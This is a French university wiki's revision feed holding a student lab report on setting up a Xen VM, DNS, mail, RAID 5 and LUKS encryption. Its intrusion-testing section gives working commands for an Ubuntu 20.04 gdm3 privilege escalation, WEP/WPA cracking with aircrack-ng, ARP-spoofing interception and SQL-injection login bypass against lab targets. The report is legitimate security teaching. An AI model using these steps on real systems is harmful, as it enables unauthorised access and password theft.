Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54218</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54218"/>
				<updated>2020-12-01T21:06:35Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : Annulation des modifications 54215 de Jsoulaim (discussion)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
